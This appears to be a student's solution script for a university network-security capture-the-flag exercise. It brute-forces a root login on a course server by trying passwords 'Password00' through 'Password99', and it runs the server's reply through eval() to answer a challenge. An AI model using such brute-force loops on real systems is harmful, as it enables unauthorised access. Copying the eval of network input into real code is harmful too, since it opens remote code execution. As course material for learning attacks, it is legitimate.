Files
netsec/week02/hard/client.py

30 lines
906 B
Python

import socket
import time
# Fill in the right target here
HOST = 'netsec.net.in.tum.de' # TODO
PORT = 64984 # TODO
def get_flag():
for i in range(100):
credentials = "root,Password"+str("%02d" % i)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sf = s.makefile('rw') # we use a file abstraction for the sockets
tmp = sf.readline().rstrip('\n')
sf.write("{}\n".format(credentials))
sf.flush()
data = sf.readline().rstrip('\n')
resp = eval(data)
sf.write("{}\n".format(resp))
sf.flush()
ans = sf.readline().rstrip('\n')
if "login" in ans:
res = sf.readline().rstrip('\n')
return res
except:
pass
if __name__ == '__main__':
print(get_flag())